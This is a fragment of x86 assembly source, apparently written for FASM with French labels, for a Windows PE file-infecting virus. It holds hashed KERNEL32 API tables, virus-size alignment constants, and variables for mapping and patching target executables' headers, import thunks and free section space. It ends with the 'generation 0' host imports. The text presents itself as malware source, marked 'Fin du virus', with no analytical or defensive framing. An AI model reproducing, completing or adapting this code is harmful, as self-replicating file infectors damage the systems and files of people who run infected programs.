dd 040bf2f84h ;GetProcAddress
dd 032beddc3h ;MapViewOfFile
dd 08e0e5487h ;SetCurrentDirectoryA
dd 0bc738ae6h ;SetEndOfFile
dd 050665047h ;SetFileAttributesA
dd 06d452a3ah ;SetFilePointer
dd 09f69de76h ;SetFileTime
dd 03a00e23bh ;Sleep
dd 0fae00d65h ;UnmapViewOfFile
dd 0065f101ah ;VirtualProtect
dd 04e5de044h ;ExitThread
NBRE_FCT_K32_VIRUS=($-tab_condense)/4
TAILLE_VIRUS=$-debut_virus
TAILLE_VIRUS_ALIGNE_FICHIER=ALIGNEMENT_FICHIER_STANDARD*((TAILLE_VIRUS+\
ALIGNEMENT_FICHIER_STANDARD-1)/ALIGNEMENT_FICHIER_STANDARD)
TAILLE_VIRUS_ALIGNE_MEMOIRE=ALIGNEMENT_MEMOIRE_STANDARD*((TAILLE_VIRUS+\
ALIGNEMENT_MEMOIRE_STANDARD-1)/ALIGNEMENT_MEMOIRE_STANDARD)
;[Fin du virus]
tab_adr_fct_k32_virus:
CloseHandle dd 0
CreateFileA dd 0
CreateFileMappingA dd 0
CreateMutexA dd 0
CreateThread dd 0
FindClose dd 0
FindFirstFileA dd 0
FindNextFileA dd 0
GetDriveTypeA dd 0
GetLastError dd 0
GetProcAddress dd 0
MapViewOfFile dd 0
SetCurrentDirectoryA dd 0
SetEndOfFile dd 0
SetFileAttributesA dd 0
SetFilePointer dd 0
SetFileTime dd 0
Sleep dd 0
UnmapViewOfFile dd 0
VirtualProtect dd 0
ExitThread dd 0
condense dd ?
adr_map_IMAGE_OPTIONAL_HEADER_cible dd ?
adr_map_IMAGE_SECTION_HEADER_cible dd ?
adr_map_IMAGE_FILE_HEADER_cible dd ?
adr_map_IMAGE_IMPORT_DESCRIPTOR_cible dd ?
rva_IMAGE_IMPORT_DESCRIPTOR_cible dd ?
rva_IMAGE_IMPORT_BY_NAME_cible dd ?
adr_map_cible dd ?
thread_id dd ?
tampon dd ?
handle_fichier_cible dd ?
handle_map_cible dd ?
handle_mutex dd ?
nbre_octet_libre_sect_code_cible dd ?
adr_map_espace_libre_sect_data_cible dd ?
adr_map_espace_libre_sect_code_cible dd ?
adr_map_1st_thunk_k32_cible dd ?
adr_map_original_1st_thunk_k32_cible dd ?
adr_map_loader_sect_code_cible dd ?
struct_recherche rb sizeof.WIN32_FIND_DATA
tampon_registre rd 8
tab_adr_fct_k32_hote:
rd 2 ;pour la generation 0
section 'idata' import data readable writeable
;IMAGE_IMPORT_DESCRIPTOR:
dd RVA ID_OriginalFirstThunk_k32,0,0,RVA ID_Name_k32,RVA ID_FirstThunk_k32
dd RVA ID_OriginalFirstThunk_u32,0,0,RVA ID_Name_u32,RVA ID_FirstThunk_u32
dd 0,0,0,0,0
ID_Name_k32 db 'KERNEL32.DLL',0
ID_Name_u32 db 'USER32.DLL',0
ID_OriginalFirstThunk_k32 dd RVA image_import_by_name_k32_00
dd 0
ID_FirstThunk_k32:
ExitProcess dd RVA image_import_by_name_k32_00
dd 0
ID_OriginalFirstThunk_u32 dd RVA image_import_by_name_u32
dd 0
ID_FirstThunk_u32:
MessageBoxA dd RVA image_import_by_name_u32
dd 0
;IMAGE_IMPORT_BY_NAME:
image_import_by_name_k32_00 dw 0
db 'ExitProcess',0
image_import_by_name_k32_01 dw 0
db 'Sleep',0
image_import_by_name_u32 dw 0
db 'MessageBoxA',0
vrai_ID_OriginalFirstThunk_k32:
dd RVA image_import_by_name_k32_00
dd RVA image_import_by_name_k32_01
dd 0
vrai_ID_FirstThunk_k32:
faux_ExitProcess dd __ExitProcess
faux_Sleep dd __Sleep
dd 0